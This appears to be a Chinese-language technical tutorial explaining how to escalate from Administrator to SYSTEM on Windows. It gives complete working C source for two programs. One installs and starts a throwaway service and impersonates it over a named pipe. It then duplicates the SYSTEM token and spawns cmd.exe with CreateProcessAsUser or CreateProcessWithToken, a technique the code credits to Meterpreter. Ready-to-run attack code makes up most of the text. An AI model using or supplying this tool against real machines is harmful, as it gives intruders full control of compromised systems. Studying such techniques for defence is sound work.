在 Windows 各系统版本中,SYSTEM 权限是系统最高权限,拥有此权限你可以为所欲为。在 Windows 7 及其以上版本中,系统中最常用的是普通用户权限(local user),如果右键“以管理员身份运行”,UAC弹框确认后,即可获得管理员权限(Administrator),而获取比 Administrator 更高的系统(SYSTEM)权限,普通的用户操作是没办法得到的。以下介绍一种方式,通过Administrator权限获取SYSTEM权限的方法。
原理思路:
以 Administrator 权限创建并启动的服务进程自带 SYSTEM 权限。通过进程间通信技术,获取服务进程的访问(Access Tokens),以该访问令牌的权限(SYSTEM),用 CreateProcessAsUser 或者 CreateProcessWithToken 来创建任意 SYSTEM 权限的进程。
具体步骤:
- 两个程序A和B,A程序以Administrator权限运行并创建一个命名管道,为后续进程间通信做准备。
- A程序继续创建并启动指定服务B,该B程序以服务身份运行后自带SYSTEM权限,B程序启动后首先通知A程序“服务已启动”,然后B程序连接A程序创建的命名管道。
- A程序通过 ImpersonateNamedPipeClient 函数模拟通过管道连接的B程序,从而拥有与B程序同样的SYSTEM访问令牌。
- 使用 CreateProcessAsUser 函数或者 CreateProcessWithToken 函数来创建拥有SYSTEM访问令牌的进程。
详细代码:
A程序:默认服务名“0000”,指定B程序的路径为“D:\service.exe”
#include <stdlib.h>
#include <stdio.h>
#include <Windows.h>
#define SERVICE_EXE "D:\\service.exe"
#define SERVICE_NAME "0000"
#define PIPE_PATH "\\\\.\\pipe\\elevate"
BOOL ServiceInstall(const char *path, const char *name);
BOOL ServiceDelete(const char *name);
BOOL ServiceStart(const char *name);
BOOL ServiceStop(const char *name);
int main()
{
char directory[MAX_PATH] = {0};
char servicePath[_MAX_PATH] = { 0 };
char recv[1024] = {0};
DWORD bytes;
bool connected;
STARTUPINFOA si;
PROCESS_INFORMATION pi;
HANDLE token;
HANDLE newtoken;
HANDLE namedPipe = CreateNamedPipeA(PIPE_PATH,
PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
1024,
1024,
0,
NULL
);
if (namedPipe == INVALID_HANDLE_VALUE) {
printf("[!] Could not create named pipe\n");
return 0;
}
else {
printf("[*] Named pipe created: %s\n", PIPE_PATH);
}
srand(GetTickCount());
memcpy(servicePath, SERVICE_EXE, strlen(SERVICE_EXE));
if (!ServiceInstall(servicePath, SERVICE_NAME)) {
printf("[!] Error creating service\n");
return 0;
}
else {
printf("[*] Service installed (%s)\n", SERVICE_NAME);
}
if (!ServiceStart(SERVICE_NAME)) {
printf("[!] Error starting service\n");
return 0;
}
else {
printf("[*] Service started (%s)\n", SERVICE_NAME);
}
connected = ConnectNamedPipe(namedPipe, NULL) ? TRUE : (GetLastError() == ERROR_PIPE_CONNECTED);
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (connected) {
for (;;) {
printf("[*] Waiting for pipe connection...\n");
ZeroMemory(recv, sizeof(recv));
// We need to read data before Windows allows us to impersonate the caller
ReadFile(namedPipe, recv, sizeof(recv), &bytes, NULL);
printf("[*] Read %d Bytes: %s\n", bytes, recv);
printf("[*] Attempting to impersonate client\n");
if (ImpersonateNamedPipeClient(namedPipe) == 0) {
printf("[!] Error impersonating client\n");
return 0;
}
// We no longer need the service
if (!ServiceStop(SERVICE_NAME)) {
printf("[!] Error stopping service\n");
}
else {
printf("[*] Service cleaned up\n");
}
if (!ServiceDelete(SERVICE_NAME)) {
printf("[!] Error deleting service\n");
printf("[!] Please manually remove service using 'sc delete %s'", SERVICE_NAME);
}
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &token)) {
printf("[!] Error opening thread token\n");
}
if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &newtoken)) {
printf("[!] Error duplicating thread token\n");
}
printf("[*] Impersonated SYSTEM user successfully\n");
if (!CreateProcessAsUserA(newtoken, NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
printf("[!] CreateProcessAsUser failed (%d), trying another method.\n", GetLastError());
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
// Sometimes we fail above (as shown at meterpreter/source/extensions/stdapi/server/sys/process/process.c)
if (!CreateProcessWithTokenW(newtoken, LOGON_NETCREDENTIALS_ONLY, NULL, L"cmd.exe", NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
printf("[!] CreateProcessWithToken failed (%d).\n", GetLastError());
return 0;
}
}
printf("[*] All Done.. enjoy... press any key to finish\n");
getchar();
return 0;
}
}
return 0;
}
BOOL ServiceInstall(const char *path, const char *name) {
SC_HANDLE scManager = NULL;
SC_HANDLE scService = NULL;
scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
if (scManager == NULL) {
return FALSE;
}
scService = CreateServiceA(
scManager,
name,
name,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL,
path,
NULL,
NULL,
NULL,
NULL,
NULL);
if (scService == NULL) {
printf("CreateService failed: %d\n", GetLastError());
return FALSE;
}
CloseServiceHandle(scService);
CloseServiceHandle(scManager);
return TRUE;
}
BOOL ServiceStart(const char *name) {
SC_HANDLE scManager;
SC_HANDLE scService;
scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
if (scManager == NULL) {
return FALSE;
}
scService = OpenServiceA(scManager,name,SERVICE_ALL_ACCESS);
if (scService == NULL) {
return FALSE;
}
if (!StartService(scService, 0, NULL)) {
return FALSE;
}
CloseServiceHandle(scService);
CloseServiceHandle(scManager);
return TRUE;
}
BOOL ServiceStop(const char *name) {
SC_HANDLE scManager;
SC_HANDLE scService;
SERVICE_STATUS status;
scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
if (scManager == NULL) {
return FALSE;
}
scService = OpenServiceA(scManager,name,SERVICE_ALL_ACCESS);
if (scService == NULL) {
return FALSE;
}
if (!ControlService(scService, SERVICE_CONTROL_STOP, &status)) {
return FALSE;
}
CloseServiceHandle(scService);
CloseServiceHandle(scManager);
return TRUE;
}
BOOL ServiceDelete(const char *name) {
SC_HANDLE scManager;
SC_HANDLE scService;
scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
if (scManager == NULL) {
return FALSE;
}
scService = OpenServiceA(scManager,name,SERVICE_ALL_ACCESS);
if (scService == NULL) {
return FALSE;
}
if (!DeleteService(scService)) {
return FALSE;
}
CloseServiceHandle(scService);
CloseServiceHandle(scManager);
return TRUE;
}
B程序:
#include <windows.h>
#include <stdio.h>
#define SERVICE_NAME "0000"
SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;
void WINAPI ServiceHandler(DWORD fdwControl)
{
switch (fdwControl)
{
case SERVICE_CONTROL_STOP:
case SERVICE_CONTROL_SHUTDOWN:
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
break;
default:
return;
};
if (!SetServiceStatus(hServiceStatusHandle, &ServiceStatus))
{
DWORD nError = GetLastError();
}
}
void WINAPI ServiceMain(int argc, char** argv)
{
ServiceStatus.dwServiceType = SERVICE_WIN32;
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_PAUSE_CONTINUE;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
hServiceStatusHandle = RegisterServiceCtrlHandlerA(SERVICE_NAME, ServiceHandler);
if (hServiceStatusHandle == 0)
{
DWORD nError = GetLastError();
}
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 9000;
if (!SetServiceStatus(hServiceStatusHandle, &ServiceStatus))
{
DWORD nError = GetLastError();
}
HANDLE PipeHandle;
DWORD BytesWritten;
if (WaitNamedPipeA("\\\\.\\pipe\\elevate", NMPWAIT_WAIT_FOREVER) == 0)
{
return;
}
if ((PipeHandle = CreateFileA("\\\\.\\pipe\\elevate", GENERIC_READ | GENERIC_WRITE, 0, (LPSECURITY_ATTRIBUTES)NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, (HANDLE)NULL)) == INVALID_HANDLE_VALUE)
{
return;
}
if (WriteFile(PipeHandle, "This is a test", 14, &BytesWritten, NULL) == 0)
{
CloseHandle(PipeHandle);
return;
}
Sleep(3000);
CloseHandle(PipeHandle);
}
void main(int argc, const char *argv[])
{
SERVICE_TABLE_ENTRYA ServiceTable[2];
ServiceTable[0].lpServiceName = SERVICE_NAME;
ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)ServiceMain;
ServiceTable[1].lpServiceName = NULL;
ServiceTable[1].lpServiceProc = NULL;
StartServiceCtrlDispatcherA(ServiceTable);
}
其他说明
服务端的 CreateFile 函数是创建命名管道,而客户端的 CreateFile 函数是链接已经存在的命名管道。
如果客户端没有执行到 CreateFile 函数链接服务端,那么服务端会一直阻塞在 ConnectNamedPipe 函数。
不管服务端是否创建了命名管道,客户端一般执行到 WaitNamedPipe 都不会阻塞,都会直接返回。WaitNamedPipe 这个函数是用来检查是否有可用的管道,若没有管道存在,不管等待时间到没有都直接返回错误。若有管道存在且可用,也是直接返回,不过返回的是正确。只有当管道存在,且处于忙碌状态时,该函数会等待指定时间。
客户端最后的 Sleep(3000)
是为了阻止直接执行后面的CloseHandle(PipeHandle)
。如果服务端未执行到 ReadFile 而客户端关闭了管道句柄,那么服务端 ReadFile 将失败。
源码下载: